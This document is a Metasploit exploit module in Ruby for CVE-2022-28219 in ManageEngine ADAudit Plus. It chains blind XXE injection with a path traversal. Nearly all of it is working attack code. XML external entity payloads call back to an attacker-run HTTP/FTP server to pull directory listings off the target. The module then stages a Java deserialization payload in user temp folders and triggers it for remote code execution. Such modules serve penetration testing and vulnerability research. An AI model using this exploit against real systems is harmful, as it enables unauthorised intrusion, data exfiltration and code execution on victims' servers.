Authored by Ron Bowes, Naveen Sunkavally | Site metasploit.com

This Metasploit module exploits CVE-2022-28219, which is a pair of vulnerabilities in ManageEngine ADAudit Plus versions before build 7060. They include a path traversal in the /cewolf endpoint along with a blind XML external entity injection vulnerability to upload and execute a file.

advisories | CVE-2022-28219

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
include Msf::Handler::Reverse::Comm

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
'Description' => %q{
This module exploits CVE-2022-28219, which is a pair of
vulnerabilities in ManageEngine ADAudit Plus versions before build
7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
to upload and execute an executable file.
},
'Author' => [
'Naveen Sunkavally', # Initial PoC + disclosure
'Ron Bowes', # Analysis and module
],
'References' => [
['CVE', '2022-28219'],
['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
],
'DisclosureDate' => '2022-06-29',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8081
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
])

register_advanced_options([
OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
])
end

def srv_host
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
end

return datastore['SRVHOST']
end

def check
# Make sure it's ADAudit Plus by requesting the root and checking the title
res1 = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

unless res1
return CheckCode::Unknown('Target failed to respond to check.')
end

unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
return CheckCode::Safe('Does not appear to be ADAudit Plus')
end

# Check if it's a vulnerable version (the patch removes the /cewolf endpoint
# entirely)
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
)

unless res2
return CheckCode::Unknown('Target failed to respond to check.')
end

unless res2.code == 200
return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
end

CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
end

def exploit
# List the /users folder - this is good to do first, since we can fail early
# if something isn't working
vprint_status('Attempting to exploit XXE to get a list of users')
users = get_directory_listing('/users')
unless users
fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
end

# Remove common users
users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
if users.empty?
fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
end
print_status("User accounts discovered: #{users.join(', ')}")

# I can't figure out how to properly encode spaces, but using the 8.3
# version works! This converts them
users.map do |u|
if u.include?(' ')
u = u.gsub(/ /, '')[0..6].upcase + '~1'
end
u
end

# Check the filesystem for existing payloads that we should ignore
vprint_status('Enumerating old payloads cached on the server (to skip later)')
existing_payloads = search_for_payloads(users)

# Create a serialized payload
begin
# Create a queue so we can detect when the payload is delivered
queue = Queue.new

# Upload payload to remote server
# (this spawns a thread we need to clean up)
print_status('Attempting to exploit XXE to store our serialized payload on the server')
t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)

# Wait for something to arrive in the queue (basically using it as a
# semaphor
vprint_status('Waiting for the payload to be sent to the target')
queue.pop # We don't need the result

# Get a list of possible payloads (never returns nil)
vprint_status("Trying to find our payload in all users' temp folders")
possible_payloads = search_for_payloads(users)
possible_payloads -= existing_payloads

# Make sure the payload exists
if possible_payloads.empty?
fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
end

# If multiple payloads appeared, abort for safety
if possible_payloads.length > 1
fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
end

# Execute the one payload
payload_path = possible_payloads.pop
print_status("Triggering payload: #{payload_path}...")

res = send_request_cgi(
'method' => 'GET',
'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
)

if res&.code != 200
fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
end
ensure
# Kill the upload thread
if t
begin
t.kill
rescue StandardError
# Do nothing if we fail to kill the thread
end
end
end
end

def get_directory_listing(folder)
print_status("Getting directory listing for #{folder} via XXE and FTP")

# Generate a unique callback URL
path = "/#{rand_text_alpha(rand(8..15))}.dtd"
full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"

# Send the username anonymous and no password so the server doesn't log in
# with the password "Java1.8.0_51@" which is detectable
# We use `end_tag` at the end so we can detect when the listing is over
end_tag = rand_text_alpha(rand(8..15))
ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
serve_http_file(path, "<!ENTITY % all "<!ENTITY send SYSTEM '#{ftp_url}'>"> %all;")

# Start a server to handle the reverse FTP connection
ftp_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_FTP'],
'LocalHost' => datastore['SRVHOST'],
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)

# Trigger the XXE to get file listings
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "file:#{folder}"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "#{full_url}"> %dtd;]><data>&send;</data>")
)

if res&.code != 200
fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
end

ftp_client = nil
begin
# Wait for a connection with a timeout
select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])

unless select_result && !select_result.empty?
print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
return nil
end

# Accept the connection
ftp_client = ftp_server.accept

# Print a standard banner
ftp_client.print("220 Microsoft FTP Servicern")

# We need to flip this so we can get a directory listing over multiple packets
directory_listing = nil

loop do
select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])

# Check if we ran out of data
if !select_result || select_result.empty?
# If we got nothing, we're sad
if directory_listing.nil? || directory_listing.empty?
print_warning('Did not receive data from our reverse FTP connection')
return nil
end

# If we have data, we're happy and can break
break
end

# Receive the data that's waiting
data = ftp_client.recv(256)
if data.empty?
# If we got nothing, we're done receiving
break
end

# Match behavior with ftp://test.rebex.net
if data =~ /^USER ([a-zA-Z0-9_.-]*)/
ftp_client.print("331 Password required for #{Regexp.last_match(1)}.rn")
elsif data =~ /^PASS /
ftp_client.print("230 User logged in.rn")
elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
ftp_client.print("200 Type set to #{Regexp.last_match(1)}.rn")
elsif data =~ /^EPSV ALL/
ftp_client.print("200 ESPV command successful.rn")
elsif data =~ /^EPSV/ # (no space)
ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})rn")
elsif data =~ /^RETR (.*)/m
# Store the start of the listing
directory_listing = Regexp.last_match(1)
else
# Have we started receiving data?
# (Disable Rubocop, because I think it's way more confusing to
# continue the elsif train)
if directory_listing.nil? # rubocop:disable Style/IfInsideElse
# We shouldn't really get here, but if we do, just play dumb and
# keep the client talking
ftp_client.print("230 User logged in.rn")
else
# If we're receiving data, just append
directory_listing.concat(data)
end
end

# Break when we get the PORT command (this is faster than timing out,
# but doesn't always seem to work)
if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
directory_listing = Regexp.last_match(1)
break
end
end
ensure
ftp_server.close
if ftp_client
ftp_client.close
end
end

# Handle FTP errors (which thankfully aren't as common as they used to be)
unless ftp_client
print_warning("Didn't receive expected FTP connection")
return nil
end

if directory_listing.nil? || directory_listing.empty?
vprint_warning('FTP client connected, but we did not receive any data over the socket')
return nil
end

# Remove PORT commands, split at rn or n, and remove empty elements
directory_listing.gsub(/PORT [0-9,]+[rn]/m, '').split(/r?n/).reject(&:empty?)
end

def search_for_payloads(users)
return users.flat_map do |u|
dir = "/users/#{u}/appdata/local/temp"
# This will search for the payload, but right now just print stuff
listing = get_directory_listing(dir)
unless listing
vprint_warning("Couldn't get directory listing for #{dir}")
next []
end

listing
.select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
.map { |f| File.join(dir, f) }
end
end

def upload_payload(payload, queue)
t = framework.threads.spawn('adaudit-payload-deliverer', false) do
c = nil
begin
# We use a TCP socket here so we can hold the socket open after the HTTP
# conversation has concluded. That way, the server caches the file in
# the user's temp folder while it waits for more data
http_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_HTTP2'],
'LocalHost' => srv_host,
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)

# Wait for the reverse connection, with a timeout
select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
unless select_result && !select_result.empty?
fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
end

# Receive and discard the HTTP request
c = http_server.accept
c.recv(1024)
c.print "HTTP/1.1 200 OKrn"
c.print "Connection: keep-alivern"
c.print "rn"
c.print payload

# This will notify the other thread that something has arrived
queue.push(true)

# This has to stay open as long as it takes to enumerate all users'
# directories to find then execute the payload. ~5 seconds works on
# a single-user system, but I increased this a lot for production.
# (This thread should be killed when the exploit completes in any case)
Rex.sleep(60)
ensure
http_server.close
if c
c.close
end
end
end

# Trigger the XXE to get file listings
path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM "jar:#{full_url}"> %xxe;]>")
)

if res&.code != 200
fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
end

return t
end

def serve_http_file(path, respond_with = '')
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

start_service({
'Uri' => {
'Proc' => proc do |cli, _req|
send_response(cli, respond_with)
end,
'Path' => path
}
})

datastore['SSL'] = true if ssl_restore
end

def create_json_request(xml_payload)
[
{
'DomainName' => datastore['domain'],
'EventCode' => 4688,
'EventType' => 0,
'TimeGenerated' => 0,
'Task Content' => xml_payload
}
].to_json
end
end